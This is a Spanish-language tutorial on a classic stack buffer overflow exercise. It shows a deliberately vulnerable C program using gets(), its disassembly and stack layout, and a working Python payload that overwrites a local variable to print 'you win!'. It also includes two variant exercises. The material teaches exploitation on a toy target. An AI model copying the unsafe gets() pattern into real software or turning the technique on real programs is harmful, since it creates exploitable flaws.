El objetivo de los ejercicios de este apartado es lograr que al ejecutar el programa se imprima el mensaje “you win!”, para lo cual se seguirán diferentes estrategias.
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
Se declaran dos variables locales cookie
(numérica) y buf
(array de char o, en C, string). gets()
toma datos de la entrada estándar y los guarda en buf
, cookie
no se inicializa pero se evalúa si su valor es 0x41424344
(“ABCD” en ASCII), si es así se imprime el mensaje ganador.
Compilamos y ejecutamos el programa con los flags necesarios y vemos su funcionamiento:
user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c
user@u:~$ ./stack1
buf: bffff5b4 cookie: bffff604
user@u:~$
Se imprime la dirección de las variables locales y se espera una entrada del usuario. Ingresamos cualquier entrada y el programa finaliza.
Antes de ejecutar gets(buf)
el mapa de la pila del programa es el siguiente:
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip => gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
Si pensamos de manera simplificada el punto de entrada de un binario, dentro de _start
se hace un call main()
. La instrucción call
apila la dirección de retorno (para que luego de ejecutar main()
se retorne a _start
) y se apila el frame pointer actual (ebp
), cuyo valor se almacena porque se va a adecuar al frame de main()
. Acto seguido se pasa el control a la función llamada main()
que apila primero la variable local cookie
y después buf
.
Si tenemos en mente la convención del llamado a funciones es posible saber en qué parte de la pila se encuentran los valores que nos interesan:
[ebp-0x54] = buf
[ebp-0x4] = cookie
[ebp] = ebp anterior guardado
[ebp+0x4] = dirección de retorno
Como lo compilamos con gcc -g
, se puede desensamblar el programa intercalado con el código fuente con objdump -M intel -S stack1
.
user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c
user@u:~$ objdump -M intel -S stack1
0804845b <main>:
/* stack1-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
804845b: 55 push ebp
804845c: 89 e5 mov ebp,esp
804845e: 83 ec 54 sub esp,0x54 ; local vars
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
8048461: 8d 45 fc lea eax,[ebp-0x4]
8048464: 50 push eax ; param 3 [ebp-0x4] | addr cookie
8048465: 8d 45 ac lea eax,[ebp-0x54]
8048468: 50 push eax ; param 2 [ebp-0x54] | addr buf
8048469: 68 30 85 04 08 push 0x8048530 ; param 1 | "buf: %08x cookie: %08x\n"
804846e: e8 9d fe ff ff call 8048310 <printf@plt> ; call printf
8048473: 83 c4 0c add esp,0xc
gets(buf);
8048476: 8d 45 ac lea eax,[ebp-0x54] ; param [ebp-0x54] | addr buf
8048479: 50 push eax
804847a: e8 a1 fe ff ff call 8048320 <gets@plt> ; call gets
804847f: 83 c4 04 add esp,0x4
if (cookie == 0x41424344)
8048482: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] ; [ebp-0x4]: cookie
8048485: 3d 44 43 42 41 cmp eax,0x41424344 ; ¿cookie == 0x41424344?
804848a: 75 0d jne 8048499 <main+0x3e> ; ¿Zflag == 1?
printf("you win!\n");
804848c: 68 48 85 04 08 push 0x8048548 ; "you win!"
8048491: e8 9a fe ff ff call 8048330 <puts@plt> ; call printf
8048496: 83 c4 04 add esp,0x4
}
8048499: c9 leave
804849a: c3 ret
Consideraciones
- lea vs mov:
En el programa aparece la instrucciónlea
(en inglés Load Effective Address) que carga una dirección (dada por el operando fuente) en dónde indique el operando destino y funciona de manera similar al operador de dirección “&” en C. En el programa aparece de la siguiente forma:lea eax,[ebp-0x4]
. En esta instrucción se recupera la dirección decookie
en la pila y se la almacena eneax
.
Por su uso similar amov
, es posible confundirse. Conlea eax,[ebp-0x4]
no se dereferenciaebp-0x4
como puntero sino que sólo se está calculando la dirección deebp-0x4
para almacenarla en el primer operando. En cambio una instrucción comomov eax,[ebp-0x4]
sí considera a su segundo operando un puntero y se copia el valor al que éste apunta.
Directivas de tamaño: DWORD.
En el ejemplo anterior la instrucciónmov eax, DWORD PTR [ebp-0x4]
al especificar el segundo operando incluye una directiva de tamañoDWORD
que implica que lo que se debe copiar aeax
son 32 bits. Las diferentes directivas de tamaño están especificadas en el gráfico del manual de Intel a continuación:Si lo pensaramos en C un
char
es unBYTE
(8 bits), unshort
es unaWORD
(16 bits), unint
es unaDOUBLE WORD
(32 bits) y undouble
es unQUAD WORD
(64 bits).
gets()
?Consultamos man gets
:
user@u:~$ man gets char *gets(char *s); "gets() lee caracteres desde stdin en el array apuntado por s, hasta encontrar un caracter de línea nueva o un caracter de final de fichero (EOF). Cualquier carácter de línea nueva es descartado, y reemplazado por un carácter nulo." "BUGS: Nunca usar gets() porque no es posible controlar cuántos caracteres va a leer de stdin y, por lo tanto, es peligroso ya que puede almacenar caracteres por fuera del fin del buffer. Es preferible usar fgets()".
Es una función que lee caracteres por entrada estándar pero no verifica la longitud de lo que almacena respecto al espacio del búfer donde se lo va a almacenar.
El ataque conocido como Smash the stack publicado por Aleph One en la revista Phrack consiste en corromper la pila de ejecución de un programa vulnerable escribiendo por fuera de los límites de un búfer. Este ataque consiste en aprovechar una vulnerabilidad del tipo “buffer overflow” o desbordamiento de un búfer almacenado en la pila. Un programa con una función vulnerable (del tipo gets()
que no chequea el tamaño de un búfer) permite escribir en el búfer más datos que los que éste puede contener. Si abusamos de la vulnerabilidad y escribimos datos que superan el tamaño del búfer logramos desbordarlo y escribir por fuera de los límites de ese bloque de memoria.
En este ataque básico el objetivo será a través de una corrupción de la pila modificar una variable local (cookie
con el valor 0x41424344
lograr imprimir el mensaje ganador). No obstante las posibilidades que brinda la escritura por fuera de los límites del búfer no se reducen a ello. Más adelante se verá cómo lo primordial que querremos escribir fuera de los límites del búfer va a ser información de control como la dirección de retorno.
Entonces en el Stack 1 la “corrupción” de la pila tendrá como objetivo particular sobreescribir la variable local cookie
con el valor 0x41424344
para que la condición que lo evalúa sea verdadera y se imprima el mensaje ganador “you win!”. Como se indicó la función gets(buf)
nunca evalúa la cantidad de caracteres de buf
por lo que es posible escribir la pila por fuera de los límites de buf
hasta sobreescribir cookie
con el valor deseado.
Para eso, primero calculamos la cantidad de caracteres exacta que debemos ingresar por entrada estándar.
Con el mapa de la pila en la memoria, entendemos que primero debemos ingresar un dato cualquiera hasta completar los 80 bytes de buf
y los siguientes 4 bytes van a sobreescribir el contenido de cookie
.
Como el caracter “A” en ASCII es un byte (\x41
) lo usamos de relleno 80 veces, seguido del valor de cookie
deseado.
user@u:~$ python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1
buf: bffff5b4 cookie: bffff604
you win!
Y logramos imprimir el mensaje ganador.
A medida que los exploits se complejicen será de utilidad armar un archivo en Python con el exploit que funcionará como input: exploit.py
.
#!/usr/bin/python
output = "A" * 80 + "\x44\x43\x42\x41"
print output
Y al ejecutar el programa con ese input logramos el mismo resultado:
user@abos:~$ python exploit.py |./stack1
buf: bffff5b4 cookie: bffff604
you win!
Consideraciones:
- Si utilizamos
gdb
a la hora de debugear el programa es importante tener en cuenta las diferencias en las direcciones al ejecutar un programa y al debugearlo congdb
para lograr los resultados esperados.- Cuando debugeamos con
gdb
es posible ingresar un input por stdin al programa vulnerable de la siguiente manera:user@u:~$ python exploit.py > in user@u:~$ gdb ./stack1 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 ... (gdb) r < in buf: bffff5b4 cookie: bffff604 you win!
Gráficamente logramos el siguiente resultado:
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020305)
printf("you win!\n");
}
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020005)
printf("you win!\n");
}
[1]. Aleph One. (Noviembre de 1996). Smashing the Stack for Fun and Profit. Phrack, 7. Disponible en: http://phrack.org/issues/49/14.html